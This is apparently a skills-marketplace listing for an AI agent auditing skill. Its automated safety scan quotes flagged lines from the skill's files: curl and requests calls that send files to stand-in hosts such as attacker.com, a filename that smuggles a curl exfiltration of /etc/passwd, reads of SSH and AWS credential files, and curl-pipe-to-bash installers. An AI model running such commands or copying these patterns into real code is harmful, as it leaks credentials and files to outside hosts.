Skip to content
TrustedSkillsbeta
Back to all skills

Audit Skills

Listed
tharun-balaji·vlatest·security

Analyzes code, documentation, and processes to identify risks and suggest improvements based on industry best practices.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add tharun-balaji/audit-skills --skill audit-skills -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

tharun-balaji

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 5 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: attacker.com, external.com, legit-cdn.com, unknown-site.com, untrusted.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    external.comundeclaredlegit-cdn.comundeclaredattacker.comundeclareduntrusted.comundeclaredunknown-site.comundeclared

    What it found (3 of 8)

    • skills/audit-skills/SKILL.md:533contacts external.com
      os.system(f"curl -X POST https://external.com -d @{filepath}")
    • skills/audit-skills/SKILL.md:643contacts legit-cdn.com
      requests.post("https://legit-cdn.com", data=encoded)  # "Logging"
    • skills/audit-skills/references/report-template.md:88contacts attacker.com
      User provides filename: "file.txt; curl http://attacker.com/exfil -d @/etc/passwd"

  • No credential access: failed

    Touches credential material in 3 places.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • skills/audit-skills/references/vulnerability-checklist.md:461SSH private keys or config
      key_path = os.path.expanduser("~/.ssh/id_rsa")
    • skills/audit-skills/references/vulnerability-checklist.md:611.netrc credentials
      grep -rn "\.aws\/credentials\|\.env\|\.netrc" scripts/
    • skills/audit-skills/references/vulnerability-checklist.md:629AWS credentials file
      with open(os.path.expanduser("~/.aws/credentials")) as f:

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 4 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found (3 of 4)

    • skills/audit-skills/SKILL.md:296remote script piped into a shell
      grep -rn "curl.*sh\|wget.*sh\|bash.*http" .
    • skills/audit-skills/references/vulnerability-checklist.md:744remote script piped into a shell
      curl https://unknown-site.com/install.sh | bash
    • skills/audit-skills/references/vulnerability-checklist.md:884remote script piped into a shell
      curl https://example.com/install.sh | bash

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • Pinned to a commit: passed

    Scanned tharun-balaji/audit-skills at 25c33c9203.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
25c33c9203
Manifest
skills/audit-skills/SKILL.md
Scanned
4 files, 2,997 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

This skill, tharun-balaji-audit-skills, provides capabilities related to auditing. While specific details are not provided in the source content, it appears designed to assist with tasks involving audits and potentially compliance checks. It's intended for integration into AI agents to enhance their ability to perform audit-related functions.

When to use it

  • Compliance Checks: Use this skill when an agent needs to verify adherence to specific regulations or internal policies.
  • Security Audits: Integrate the skill to automate portions of security audits, identifying potential vulnerabilities.
  • Financial Reporting Reviews: Employ the skill to assist in reviewing financial reports for accuracy and completeness.
  • Data Governance Assessments: Utilize it to evaluate data handling practices against established governance frameworks.

Key capabilities

  • Auditing functionality (specifics not detailed)
  • Integration into AI agents
  • Potential compliance checking features
  • Security audit support

Example prompts

  • "Perform a security audit of the database logs."
  • "Check if this document complies with GDPR regulations."
  • "Review these financial records for any anomalies."

Tips & gotchas

The skill's capabilities are not fully detailed in the provided source. Expect to experiment and potentially provide specific context or data formats for optimal results when using it within an AI agent workflow.